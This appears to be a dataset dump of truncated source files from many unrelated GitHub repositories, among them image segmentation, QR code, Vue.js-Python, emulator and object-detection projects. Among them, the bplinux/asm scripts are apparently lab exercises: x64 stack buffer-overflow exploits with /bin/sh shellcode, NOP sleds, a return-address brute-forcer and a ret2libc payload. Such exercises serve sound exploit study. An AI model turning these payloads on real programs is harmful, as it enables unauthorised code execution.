repo_name stringlengths 6 97 | path stringlengths 3 341 | text stringlengths 8 1.02M |
|---|---|---|
GenoM87/hubmap | src/engine/fitter.py | import os, sys, time, warnings, datetime, gc
from collections import OrderedDict
import pandas as pd
import numpy as np
from tqdm import tqdm
import cv2
import torch
import torch.nn.functional as F
import albumentations as A
import rasterio
from utils import create_tile_v2, rle2mask, to_mask, global_shift_mask
from ... |
GenoM87/hubmap | src/data_builder/transforms.py | import cv2
import albumentations as A
from albumentations.pytorch import ToTensorV2
def get_train_transform(cfg):
return A.Compose([
#A.OneOf([
# A.OpticalDistortion(p=cfg.DATASET.P_OPTICAL_DIST),
# A.GridDistortion(p=cfg.DATASET.P_GRID_DIST),
# A.IAAPiecewiseAffine(p=cfg.DATAS... |
GenoM87/hubmap | src/config.py | <reponame>GenoM87/hubmap<filename>src/config.py
import pathlib
import os
import torch
from yacs.config import CfgNode as CN
#GENERAL CONFIG
_C = CN()
_C.PROJECT_DIR = str(pathlib.Path(__file__).parent.parent.absolute())
_C.DATA_DIR = os.path.join(_C.PROJECT_DIR, 'data')
_C.DEVICE = 'cuda' if torch.cuda.is_available()... |
GenoM87/hubmap | src/data_builder/dataset.py | import os
import datetime
import pandas as pd
import numpy as np
import cv2
import matplotlib.pyplot as plt
import torch
from torch.utils.data import Dataset, DataLoader
import albumentations as A
class hmTrainDataset(Dataset):
def __init__(self, df, img_ids, cfg, transforms=None, preprocessing=None):
s... |
GenoM87/hubmap | src/models/model.py | import segmentation_models_pytorch as smp
from config import _C as cfg
def build_model(cfg):
if cfg.MODEL.ATTENTION:
model = smp.Unet(
encoder_name=cfg.MODEL.NAME,
encoder_weights=cfg.MODEL.PRETRAINING,
in_channels=3,
classes=1,
decoder_attentio... |
GenoM87/hubmap | src/utils.py | import os
import cv2
import numpy as np
import tifffile as tiff
import rasterio
from rasterio.windows import Window
identity = rasterio.Affine(1, 0, 0, 0, 1, 0)
def mask2rle(img):
'''
img: numpy array, 1 - mask, 0 - background
Returns run length as string formated
'''
pixels= img.T.flatten()
... |
GenoM87/hubmap | src/data_builder/__init__.py | <filename>src/data_builder/__init__.py
from .builder import build_train_loader
from .builder import build_valid_loader |
GenoM87/hubmap | src/data_builder/builder.py | <gh_stars>0
import os
from torch.utils.data import DataLoader, Dataset, SequentialSampler, RandomSampler
import albumentations as A
import pandas as pd
from .dataset import hmTrainDataset, hmTestDataset
from .transforms import get_train_transform, get_valid_transform
def build_train_loader(cfg):
df = pd.read_cs... |
GenoM87/hubmap | src/create_tile.py | import os
import cv2
import pandas as pd
import numpy as np
import rasterio
from utils import create_tile, read_tiff, rle2mask, create_tile_v2
from config import _C as cfg
img_scale = cfg.DATASET.IMG_SCALE
tile_size = cfg.DATASET.TRAIN_TILE_SIZE
tile_avg_step = cfg.DATASET.TRAIN_TILE_AVG_STEP
tile_min_score = cfg.D... |
GenoM87/hubmap | src/main.py | <reponame>GenoM87/hubmap<gh_stars>0
import sys, os, time, logging, datetime
from pathlib import Path
from engine.fitter import Fitter
from config import _C as cfg
from models.model import build_model
from data_builder import build_valid_loader, build_train_loader
#Creo lla directory per l'esperimento
path_exp = os.p... |
kylemikableh/KyAPI | main.py | <reponame>kylemikableh/KyAPI<filename>main.py
"""
PiPrint API
Print anything to a (DotMatrix) printer and log from REST
MIT License
Copyright (c) 2021 <NAME>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in t... |
importerror/Python-QR-code | Comb_image1.py | from qrcode import *
import re, sys
import Image
img0 =Image.open('scan49M.png')
img1 =Image.open('scan50N.png')
img2 =Image.open('scan52O.png')
img3 =Image.open('scan54P.png')
img4 =Image.open('scan58Q.png')
img5 =Image.open('scan60R.png')
img6 =Image.open('scan64S.png')
img7 =Image.open('scan66T.png')
img8 =Image.op... |
importerror/Python-QR-code | Comb_image2.py | from qrcode import *
import re, sys
import Image
img89=Image.open('scan510X.png')
img90=Image.open('scan514Y.png')
img91=Image.open('scan526Z.png')
img92=Image.open('scan534A.png')
img93=Image.open('scan538B.png')
img94=Image.open('scan546C.png')
img95=Image.open('scan550D.png')
img96=Image.open('scan556E.png')
img97=... |
importerror/Python-QR-code | Merge_Images_dir.py | <reponame>importerror/Python-QR-code
from qrcode import *
import re, sys
import Image
#Prime Number generator part
def isPrime(n):
return re.match(r'^1?$|^(11+?)\1+$', '1' * n) == None
N = 249 #students
M = 100
l = list()
A=['M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','A','B',... |
importerror/Python-QR-code | merge_image.py | import Image
img=Image.open("scan1.png")
new_img=Image.new('RGB',(1100,800))
img.thumbnail((110,110))
for i in xrange(0,1100,100):
for j in xrange(0,800,100):
new_img.paste(img,(i,j))
new_img.save('new scan1.png')
new_img.show()
|
importerror/Python-QR-code | PrimeNumber.py | import re, sys
def isPrime(n):
return re.match(r'^1?$|^(11+?)\1+$', '1' * n) == None
N = 249 #students
M = 100
l = list()
while len(l) < N:
l += filter(isPrime, range(M - 100, M))
M += 100
for i in l:
print i
|
importerror/Python-QR-code | Comb_image3.py | <filename>Comb_image3.py<gh_stars>0
from qrcode import *
import re, sys
import Image
img179=Image.open('scan1116J.png')
img180=Image.open('scan1134K.png')
img181=Image.open('scan1138L.png')
img182=Image.open('scan1140M.png')
img183=Image.open('scan1144N.png')
img184=Image.open('scan1150O.png')
img185=Image.open('scan1... |
bplinux/asm | examples/x64/02/bruteforce.py | <gh_stars>0
#!/usr/bin/python
import subprocess
import struct
import sys
buffsize = 512
offset = 0
start = 0x7fffffffd9e0
end = 0x7fffffffe000
#/bin/sh
sc = b'\xeb\x14\x5f\x48\x31\xc0\x88\x47\x07\x50\x57\x48\x8d\x34\x24\xb0\x3b\x48\x31\xd2\x0f\x05\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'
nopsled1 = b'\x90'... |
bplinux/asm | examples/x64/01/control_rip.py | <gh_stars>0
#!/usr/bin/python
import struct
import sys
buffsize = 512
offset = 0
nopsled = b'\x90'*(buffsize)
rbp = b'\x90'*8
rip = struct.pack("<Q", 0xdeadbeefdeadbeef)
sys.stdout.buffer.write(nopsled+rbp+rip)
|
bplinux/asm | examples/x64/03/control_rip.py | #!/usr/bin/python
import struct
import sys
buffsize = 512
offset = 0
#system: 0x7ffff7e19120
#exit: 0x7ffff7e0e820
#/bin/sh: 0x7ffff7f5b966
#/bin/sh
#sc = b'\xeb\x14\x5f\x48\x31\xc0\x88\x47\x07\x50\x57\x48\x8d\x34\x24\xb0\x3b\x48\x31\xd2\x0f\x05\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'
nopsled = b'\x90'*(... |
bplinux/asm | scripts/control_eip.py | <gh_stars>0
#!/usr/bin/python
import struct
import sys
buffsize = 512
offset = 0
#system(): 0x7ffff7e1d120
#exit(): 0x7ffff7e12820
#"/bin/sh": 0x7ffff7f5f966
padding = b'\x90'*(buffsize)
ebp = b'\x90'*8
eip = b'\x20\xd1\xe1\xf7\xff\x7f'
garbage = b'\x90'*8
string = b'\x66\xf9\xf5\xf7\xff\x7f'
sys.stdout.buffer.wri... |
bplinux/asm | examples/x64/02/control_rip.py | #!/usr/bin/python
import struct
import sys
buffsize = 512
offset = 0
#/bin/sh
sc = b'\xeb\x14\x5f\x48\x31\xc0\x88\x47\x07\x50\x57\x48\x8d\x34\x24\xb0\x3b\x48\x31\xd2\x0f\x05\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'
nopsled1 = b'\x90'*(buffsize-len(sc)-8)
nopsled2 = b'\x90'*8
rbp = b'\x90'*8
rip = struct.pac... |
devhoodit/dataStructure-and-algorithm | src/dataStructure/python/tab2space.py | <reponame>devhoodit/dataStructure-and-algorithm<filename>src/dataStructure/python/tab2space.py
tmp = []
with open('ds.py','r') as f:
for line in f.readlines():
tmp.append(line.replace('\t', ' '))
with open('ds.py', 'w') as f:
f.writelines(tmp) |
devhoodit/dataStructure-and-algorithm | src/algorithm/sort.py | import sys
from os import path
sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))
from dataStructure.python import ds
"""
sorting examples
comparison sort
-bubble sort
-quick sort
selection sort
-selection sort
merge sort
-merge sort
"""
"""
bubble sort
1. take first value, first step n = 0
2.... |
devhoodit/dataStructure-and-algorithm | src/dataStructure/python/ds.py | from collections.abc import Sequence
from queue import Empty
class Stack():
def __init__(self, length):
self.stack = []
self.max_length = length
def __len__(self):
return len(self.stack)
def is_full(self):
return len(self.stack) >= self.max_length
def is_empty(sel... |
Olincy/iOS-Unused-Classes-Tool | unused_classes.py | <reponame>Olincy/iOS-Unused-Classes-Tool<gh_stars>1-10
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys,os,re
# 匹配class 的申明 ^[ ]*@interface[ ]+([a-zA-Z_][\w]+)[ ]*:
# 匹配被使用的class (?:[<]*([A-Z_][\w]+)[ ]+\*[>]*)|(?:.*\[[ ]*([A-Z_][\w]+)[ ].*\])|(?:[:][ ]*([A-Z_][\w]+))
CLASS_NAME_KEY = "CLASS_NAME_KEY"
CLASS_... |
twitwi/vuejs-python | vuejspython/observablecollections/observable.py | import types
from .event import Event
class Observable:
def __init__(self):
self.observers = set()
def attach(self, observer):
if (observer not in self.observers):
self.observers.add(observer)
def detach(self, observer):
if (observer in self.observers):
self.observers.remove(observer)
def raiseEvent... |
twitwi/vuejs-python | examples/example-3.py | <filename>examples/example-3.py
import asyncio
from vuejspython import model, start
@model
class Comp:
# define properties to forward to vue (or not)
i = 42
j = 111
def __init__(self):
self.i = 1
def computed_i_squared(self): return self.i**2
def computed_i_mod2(self): return self.... |
twitwi/vuejs-python | vuejspython/observablecollections/event.py | <filename>vuejspython/observablecollections/event.py
class Event:
def __init__(self, action, source):
self._action = action
self._source = source
@property
def action(self):
return self._action
@property
def source(self):
return self._source |
twitwi/vuejs-python | examples/example-6.py | <reponame>twitwi/vuejs-python
import asyncio
from vuejspython import model, start, atomic
import numpy as np
import matplotlib.pyplot as plt
import io
@model
class Comp:
# define properties to forward to vue (or not)
im = np.zeros((1,))
xp = np.zeros((1,))
yp = np.zeros((1,))
xm = np.zeros((1,))
... |
twitwi/vuejs-python | examples/example-0.py |
import vuejspython
from numpy import pi
@vuejspython.model
class App:
radius = 2
def computed_area(self):
if self.radius == "": return 0
return pi * self.radius ** 2
vuejspython.start(App())
|
twitwi/vuejs-python | examples/example-9.py |
import vuejspython
import numpy as np
@vuejspython.model
class App:
# input = np.random.uniform(-1000, 1000, 10)
input = 4 + 5*np.sin(np.linspace(-6, 5, 15))
scale = 1
bias = 0
def computed_size(self): return len(self.input)
def computed_scaled(self):
return np.array(self.input) * ... |
twitwi/vuejs-python | vuejspython/serve.py | from aiohttp import web
from pathlib import Path
from glob import glob
from collections import defaultdict
import re
async def index(request):
index_page = """
<!DOCTYPE html>
<html>
<head>
<title>Vuejspython</title>
<link rel=stylesheet href="/static/picnic.min.css">
<style>
body { margin: 2em; }
</style>
</head>... |
twitwi/vuejs-python | vuejspython/observablecollections/observablelist.py | <filename>vuejspython/observablecollections/observablelist.py
from .observable import Observable
class ObservableList(list, Observable):
def __init__(self, *args, **kwargs):
Observable.__init__(self)
list.__init__(self, *args, **kwargs)
def __iadd__(self, other):
self.extend(other)
return self
def append... |
twitwi/vuejs-python | examples/example-1.py | <gh_stars>10-100
import asyncio
import vuejspython
@vuejspython.model
class Comp:
# define properties to forward to vue (synchronized state)
suggestions = ['+1', 'ToTo']
title = 'Test1'
i = 42
i2_withwatch = -1
subtitle = 'very local'
_v_novue = ['subtitle'] # property names to exclude fr... |
twitwi/vuejs-python | setup.py | <gh_stars>10-100
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read().split('----')[0]
setuptools.setup(
name="vuejspython",
version="0.2.6",
author="<NAME>",
author_email="<EMAIL>",
description="Bridging vuejs and python (e.g., to leverage numpy)",
long_descri... |
twitwi/vuejs-python | examples/example-4.py | <reponame>twitwi/vuejs-python
import asyncio
import numpy as np
import matplotlib.pyplot as plt
import os
from vuejspython import model, start
@model
class Comp:
# define properties to forward to vue (or not)
i = 42
fname = ""
def __init__(self):
self.i = 1
def watch_i(self, i):
... |
twitwi/vuejs-python | vuejspython/static/__init__.py | <gh_stars>10-100
# to help the packager
|
twitwi/vuejs-python | examples/example-5.py |
import asyncio
from vuejspython import model, start
import numpy as np
import matplotlib.pyplot as plt
import io
import base64
@model
class Comp:
# define properties to forward to vue (or not)
gamma = 1.0
svg = ""
png = ""
use_svg = True
use_png = True
show_points = True
show_nn = Tru... |
twitwi/vuejs-python | examples/example-2.py |
import asyncio
import vuejspython
import numpy as np
@vuejspython.model # this annotation could start the things automatically (if there is a single model anyway)
class Comp:
# define properties to forward to vue (or not)
currentClass = 0
currentShapelet = 0
currentImage = ''
folder, groups, scal... |
twitwi/vuejs-python | examples/example-7.py | <gh_stars>10-100
from vuejspython import model, start
@model
class Comp:
# define properties to forward to vue (or not)
i_name = 'l'
o_name = 's'
slice_expr = '5:15'
is_error = False
input_expr = str(list(range(40,60)))
def __init__(self):
pass
def computed_input(self):
... |
twitwi/vuejs-python | examples/example-8.py | <reponame>twitwi/vuejs-python
import asyncio
from vuejspython import model, start
@model
class Comp:
# define properties to forward to vue (or not)
i = 42
def __init__(self):
self.i = 1
def computed_sqrd(self):
return self.i ** 2
def incr(self, d):
self.i += d
@model
... |
Abir-H/serverless-event-mocks-python | serverless_event_mocks/__init__.py | <filename>serverless_event_mocks/__init__.py
from serverless_event_mocks.event import create_event
|
Abir-H/serverless-event-mocks-python | setup.py | import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name='serverless-event-mocks',
packages=['serverless_event_mocks'],
version='0.0.7',
license='MIT',
description='A small Python library that includes details mocks of AWS Lambda event ... |
Abir-H/serverless-event-mocks-python | serverless_event_mocks/tests/test_event.py | <gh_stars>1-10
from unittest import TestCase
from serverless_event_mocks.event import create_event
class TestEvent(TestCase):
def test_create_event_aws_api_gateway(self):
# Arrange
provider = 'aws'
event_type = 'api_gateway'
event_payload = {
"body": {
... |
Abir-H/serverless-event-mocks-python | serverless_event_mocks/event.py | import json
from pathlib import Path
VALID_PROVIDERS = ['aws']
VALID_EVENT_TYPES = ['api_gateway']
EVENT_TEMPLATES_EXT = 'json'
EVENT_TEMPLATES_DIR = Path(__file__).resolve().parent / 'event_templates'
def create_event(provider: str, event_type: str, event_payload: dict) -> dict:
"""Create a mock serve... |
mhmddpkts/UDP-Socket | Receiver.py | import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #UDP ' ye uygun bir soket nesnesi oluşturuldu.
server_socket.bind(('', 25400)) #Port belirlendi.
while True: #Belirlenen Po... |
mhmddpkts/UDP-Socket | Sender.py | <reponame>mhmddpkts/UDP-Socket
#****** SENDER *****
import time
import socket
IP = input("ENTER IP : ") #Hedef IP adresi alındı.
adress = (IP, 25400) #Port numarası ve IP ile adres oluşturuldu.
PacketCounter = 0 ... |
cicerops/fritznagios | fritznagios.py | <filename>fritznagios.py
"""
fritznagios.py
Module for Nagios/Icinga2 to query the FritzBox API for available services and actions.
License: MIT (https://opensource.org/licenses/MIT)
Author: <NAME>
Source: https://github.com/cicerops/fritznagios
This module depends on the FritzConnection module.
Source: https://gith... |
cicerops/fritznagios | setup.py | <reponame>cicerops/fritznagios
import os
from setuptools import setup
def read(path):
with open(os.path.join(os.path.dirname(__file__), path)) as f:
return f.read()
long_description = read("README.md")
setup(
name="fritznagios",
version="0.1.3",
url="https://github.com/cicerops/fritznagios... |
cacahootie/geophoto | geophoto/views.py | <reponame>cacahootie/geophoto
import os
from functools import wraps
from flask import Flask, jsonify, render_template, request, abort
from geophoto import app, models, oembed
basedir = os.path.dirname(os.path.abspath(__file__))
index_path = os.path.join(basedir,'static','index.html')
def spa(vfunc):
@wraps(vfunc)... |
cacahootie/geophoto | run.py | <gh_stars>0
from geophoto import app
if __name__ == "__main__":
app.secret_key = 'super secret key'
app.run(
host='0.0.0.0',
port=8008,
debug=True
)
|
cacahootie/geophoto | geophoto/models.py |
import codecs
from os import listdir, getcwd
from os.path import isfile, join
from itertools import repeat
import json
import hashlib
import subprocess
import psycopg2
import psycopg2.extras
import exifread
import markdown
img_path = './geophoto/static/img/geocoded'
img_in_path = './geophoto/static/img/geocoded_in'
... |
cacahootie/geophoto | geophoto/__init__.py | <filename>geophoto/__init__.py
import os
from flask import Flask
basedir = os.path.dirname(os.path.abspath(__file__))
index_path = os.path.join(basedir,'static','index.html')
app = Flask(
'geophoto',
static_folder=os.path.join(basedir,'static'),
static_url_path='/static'
)
import views
|
cacahootie/geophoto | manage.py | import subprocess
from flask.ext.script import Manager
from geophoto import app
from geophoto import models
manager = Manager(app)
@manager.command
def load():
models.process_photos()
@manager.command
def run():
app.secret_key = 'super secret key'
app.run(
host='0.0.0.0',
port=8008,
... |
cacahootie/geophoto | geophoto/oembed.py | <reponame>cacahootie/geophoto
from json import loads
from urlparse import urlparse
from flask import current_app as app
from flask import request
def thumbUrl(thumb):
return "https://venturelog.imgix.net/articles/" + thumb + \
"?w=200&h=150&fit=crop&crop=entropy&auto=compress,format"
def html(article):
... |
N0star/pixacolor | pxc.py | <gh_stars>1-10
I = '''FDC # PXC # 1.0.0 # 2020'''
import matplotlib.image as mpimg
import matplotlib.pyplot as plt
import numpy as np
def upload(name): #get an image
img = mpimg.imread(name)
tab = []
for i in range(len(img)):
for j in range(len(img[i])):
tab.append(img[i][j])
... |
twangnh/Distilling-Object-Detectors-Shuffledet | eval_model.py | <reponame>twangnh/Distilling-Object-Detectors-Shuffledet<filename>eval_model.py<gh_stars>10-100
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import cv2
from datetime import datetime
import os.path
import sys
import time
import numpy as np
from six.moves ... |
twangnh/Distilling-Object-Detectors-Shuffledet | dataset_tool/imdb.py | import os
import random
import shutil
from PIL import Image, ImageFont, ImageDraw
import cv2
import numpy as np
from lib.utils.util import iou, batch_iou
from augmentation import BrightnessTransform, ContrastTransform, SaturationTransform
class imdb(object):
"""Image database."""
def __init__(self, name, mc... |
twangnh/Distilling-Object-Detectors-Shuffledet | lib/models/cross_gpu_bn.py | # -*- coding: utf-8 -*-
# File: batch_norm.py
import re
import six
import tensorflow as tf
from tensorflow.contrib.framework import add_model_variable
from tensorflow.python.training import moving_averages
import logging
logging.getLogger().level = logging.INFO
from tensorflow.contrib.framework import add_arg_scope
... |
twangnh/Distilling-Object-Detectors-Shuffledet | lib/config/__init__.py | from kitti_shuffledet_config import kitti_shuffledet_config
|
twangnh/Distilling-Object-Detectors-Shuffledet | lib/models/shuffleDet_sup.py | <reponame>twangnh/Distilling-Object-Detectors-Shuffledet<filename>lib/models/shuffleDet_sup.py
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
from lib.models.nn_skeleton import ModelSkeleton
# import tensorpack.models
from tensorpac... |
twangnh/Distilling-Object-Detectors-Shuffledet | dataset_tool/augmentation.py |
import random
import numpy as np
import cv2
def BrightnessTransform(data, delta_max = 50):
"""
Transform brightness
Parameters: delta
"""
data = data.astype(np.float32)
delta = random.randint(-delta_max, delta_max)
data += delta
data[data>255] = 255
data[data<0] = 0
data = data... |
twangnh/Distilling-Object-Detectors-Shuffledet | train_multi_gpu.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import cv2
import os.path
from six.moves import xrange
import tensorflow as tf
from lib.config import *
from dataset_tool import kitti
from lib.utils.util import bbox_transform
from lib.models.shuffleDet_sup ... |
twangnh/Distilling-Object-Detectors-Shuffledet | param_count.py | <gh_stars>10-100
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import tensorflow as tf
import numpy as np
parser = argparse.ArgumentParser(description='count parameters')
parser.add_argument('--model_path', dest='model_path',
... |
twangnh/Distilling-Object-Detectors-Shuffledet | lib/config/kitti_shuffledet_config.py | <filename>lib/config/kitti_shuffledet_config.py
import numpy as np
from config import base_model_config
def kitti_shuffledet_config():
"""Specify the parameters to tune below."""
mc = base_model_config('KITTI')
mc.IMAGE_WIDTH = 1248
mc.IMAGE_HEIGHT = 384
# mc.IMAGE_... |
haojunsui/PSU-MATH-450-Mathematical-Modeling | Code/problem_1.py | <gh_stars>0
import numpy as np
from numpy.linalg import inv
import matplotlib.pyplot as plt
x = np.matrix([74.4, 93.4, 110.4, 130.6, 148.9, 170.7, 191.1, 211.8, 231.7, 259.1]).transpose()
y = np.matrix([1.64, 2.03, 3.16, 3.96, 4.78, 6.21, 7.28, 8.91, 8.79, 8.63]).transpose()
x_log10 = np.log10(x)
A = np.concatenate((... |
tualatrix/django-pingback | pingback/admin.py | from django.contrib import admin
from pingback.models import Pingback, PingbackClient, DirectoryPing
class PingbackAdmin(admin.ModelAdmin):
list_display = ('url', 'admin_object', 'date', 'approved', 'title')
admin.site.register(Pingback, PingbackAdmin)
class PingbackClientAdmin(admin.ModelAdmin):
list_disp... |
tualatrix/django-pingback | setup.py | <gh_stars>1-10
from setuptools import setup, find_packages
setup(
name = 'django-pingback',
version = '0.1.3',
description = 'Pingback client and server for Django web framework, extracted from Byteflow blog engine.',
keywords = 'django apps',
license = 'New BSD License',
author = '<NAME>',
... |
tualatrix/django-pingback | pingback/templatetags/pingback_tags.py | <filename>pingback/templatetags/pingback_tags.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2008 by <NAME> <<EMAIL>>
from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import ObjectDoesNotExist
from django.template import Library, Node, TemplateSyntaxError, Varia... |
Maxic/Chip-8 | cpu.py | import logging
import random
import numpy as N
class Cpu:
def __init__(self):
# memory 4kbs
self.memory = [0] * 4096
# data registers (8-bit)
self.V = [0] * 16
# address register (16-bit)
self.I = 0
# timers (8-bit)
self.delay = 0
self.sou... |
Maxic/Chip-8 | chip8.py | <filename>chip8.py
from cpu import Cpu
import os
import pygame
"""
+-----------------------+
| CHIP-8 Emulator |
| |
| <NAME> 2018 |
+-----------------------+
"""
def main():
# Initialize CPU
cpu = Cpu()
# Initialize graphics
key_lookup = initialize_io()
key = Non... |
ikeleeeeee/ItChat | myWeChatBot.py | import itchat
@itchat.msg_register(itchat.content.TEXT)
def print_content(msg):
return(msg['Text'])
itchat.auto_login()
itchat.run() |
deniskovalchuk/ftp-client | test/ftp/server/server.py | <filename>test/ftp/server/server.py
#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the right... |
JortGroen/eyeMouse | src/data_creation_game4.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 7 11:00:24 2020
@author: djoghurt
"""
import cv2
import numpy as np
import dlib
from math import hypot
import pyautogui
import random
import subprocess
import json
import threading
import time
import os
receiveBuffer = ""
receiveStatus = 0
DATA =... |
JortGroen/eyeMouse | src/testPrinter.py | <reponame>JortGroen/eyeMouse
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Sep 8 19:46:44 2021
@author: djoghurt
"""
import time
import json
data = {}
data["name"]="testPrinter"
for i in range(10):
data["value"] = i
json_data = json.dumps(data, indent = 4)
print("jkljl<data>", flush=T... |
JortGroen/eyeMouse | landmarks_test.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 21 16:54:57 2020
@author: djoghurt
"""
import cv2
import numpy as np
import dlib
cap = cv2.VideoCapture(0)
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor("src/3rdparty/shape_predictor_68_face_landmarks.dat")
mapping... |
JortGroen/eyeMouse | src/test.py | <filename>src/test.py<gh_stars>0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Jan 23 15:33:26 2021
@author: djoghurt
"""
import pygame
import sys
import random
import pyautogui
screenSize = pyautogui.size()
def game_init():
#screen = pygame.display.set_mode(screenSize)
screen = pygame.di... |
JortGroen/eyeMouse | thread_test.py | <gh_stars>0
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Sep 29 17:09:56 2020
@author: djoghurt
"""
import threading
import time
import cv2 as cv
import numpy as np
def pizza():
for i in range(10):
x = 0
for j in range(10000000):
x = x+j
print("pizza")
... |
mtmonte/MasternodeSetup | MasternodeSetup/masternode.py | #!/usr/bin/env python3
# MIT License
#
# Copyright (c) 2018 Cosmos Coin Developers, https://cosmoscoin.co/
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, incl... |
mtmonte/MasternodeSetup | setup.py | <gh_stars>1-10
#!/usr/bin/env python3
# MIT License
#
# Copyright (c) 2018 Cosmos Coin Developers, https://cosmoscoin.co/
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restrictio... |
mtmonte/MasternodeSetup | MasternodeSetup/core.py | <filename>MasternodeSetup/core.py
#!/usr/bin/env python3
# MIT License
#
# Copyright (c) 2018 Cosmos Coin Developers, https://cosmoscoin.co/
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the ... |
mtmonte/MasternodeSetup | MasternodeSetup/vps.py | #!/usr/bin/env python3
# MIT License
#
# Copyright (c) 2018 Cosmos Coin Developers, https://cosmoscoin.co/
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including wi... |
mtmonte/MasternodeSetup | MasternodeSetup/daemon.py | #!/usr/bin/env python3
# MIT License
#
# Copyright (c) 2018 Cosmos Coin Developers, https://cosmoscoin.co/
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, incl... |
Abhi-1U/imongo | imongo/__init__.py | """A MongoDB kernel for Jupyter"""
__version__ = '0.1.0'
|
Abhi-1U/imongo | setup.py | <filename>setup.py<gh_stars>10-100
#!/usr/bin/env python
import json
import os
import sys
from setuptools import setup
from setuptools.command.install import install
if sys.version_info.major != 3 or sys.version_info.minor < 6:
sys.exit('IMongo supports Python 3.6+ only')
class Installer(install):
def run(se... |
Abhi-1U/imongo | imongo/utils.py | <reponame>Abhi-1U/imongo
import logging
from functools import wraps
from tornado.log import LogFormatter as ColoredFormatter
import os
logger = logging.getLogger('IMongo')
def make_logger(name, fname=None) -> logging.Logger:
logger = logging.getLogger(name)
logger.setLevel(logging.DEBUG)
file_formatter = ... |
Abhi-1U/imongo | imongo/__main__.py | <filename>imongo/__main__.py
from ipykernel.kernelapp import IPKernelApp
from .kernel import MongoKernel
IPKernelApp.launch_instance(kernel_class=MongoKernel)
|
kenil-shah/DeepFake_Detection | main.py | import colorsys
import cv2
import numpy as np
from keras import backend as K
from keras.preprocessing.image import ImageDataGenerator
from keras.preprocessing import image
from keras.models import load_model,Model, Sequential
from keras.layers import Input, Dropout, Flatten, Dense,Conv2D, MaxPool2D, GlobalMaxPooling2D,... |
DMeechan/CompSci-Handybook | library-renew-books.py | <filename>library-renew-books.py
# Note: you need to add Chromedriver to your env var path:
# In fish that means running:
# set PATH $HOME/bin $PATH
import time
import datetime
from splinter import Browser
browser = Browser('chrome', headless=False)
def get_due_status():
today_date = datetime.datetime.today().st... |
mo-mo-666/simple-GNN-from-scratch | src/test_GNN.py | import unittest
import numpy as np
from GNN import BinarizationGNN
class TestBinarizationGNN(unittest.TestCase):
def setUp(self):
np.random.seed(0)
def test_defaultparams(self):
feature_dim = 10
gnn = BinarizationGNN(feature_dim)
self.assertEqual(gnn.feature_dim, feature_di... |
mo-mo-666/simple-GNN-from-scratch | src/GNN.py | import numpy as np
class BinarizationGNN:
"""
Graph Newral Network to classify graphs into two.
parameters
----------
feature_dim : int, optional (default = 8)
Dimension of the feature vectors to each graph node.
learning_rate : float, optional (default = 0.001)
Learning rat... |
gmunozhe/astr-119-hw-1 | check_in_solution.py | #include the Numpy library
import numpy as np
#define the main() function
def main():
i=0 #declare an integer i
x=119.0 #declare a float x
for i in range(120): #loop i from 0 to 119, inclusive
if((i%2)==0): #if i is even
x += 3. #add 3 to x
else: #if i is odd
x -= 5. #subtract 5 from... |
PhilippMatthes/instabot | Mailer.py | <reponame>PhilippMatthes/instabot
import telepot
import telepot.api
import urllib3
import pickle
import matplotlib.pyplot as plt
telepot.api._pools = {
'default': urllib3.PoolManager(num_pools=3, maxsize=10, retries=10, timeout=240),
}
class Mailer:
def __init__(self):
try:
with open("log/... |
PhilippMatthes/instabot | InstaDriver.py | <filename>InstaDriver.py
from selenium import webdriver # For webpage crawling
from time import sleep
import time
from selenium.webdriver.common.keys import Keys # For input processing
from random import randint
import sys # For file path processing
import datetime # For timestamp
import pickle # For data management
i... |
PhilippMatthes/instabot | Config.py | class Config:
topics = [ "graphics",
"render",
"cartoon",
"daily",
"art",
"design",
"cinema4d",
"animation",
"cg",
"illustration",
"3d",
"... |
PhilippMatthes/instabot | Main.py | from InstaDriver import Driver
from Mailer import Mailer
from time import sleep
import traceback
import sys
import os
import errno
from socket import error as socket_error
def loop():
session = Driver()
mailer = Mailer()
while True:
message = mailer.get_current_message()
if (message == "St... |
rezakrimi/MaxoutTextSummarization | cnn-dailymail/process.py | import os
import nltk
from tqdm import tqdm
import json
from collections import defaultdict
import pickle
def word_tokenize(tokens):
return [token.replace("''", '"').replace("``", '"') for token in nltk.word_tokenize(tokens)]
directory = './dailymail/stories/'
examples = list()
counter = defaultdict(int)
for fi... |
rezakrimi/MaxoutTextSummarization | config.py | <gh_stars>0
# train file
train_src_file = "./squad/para-train.txt"
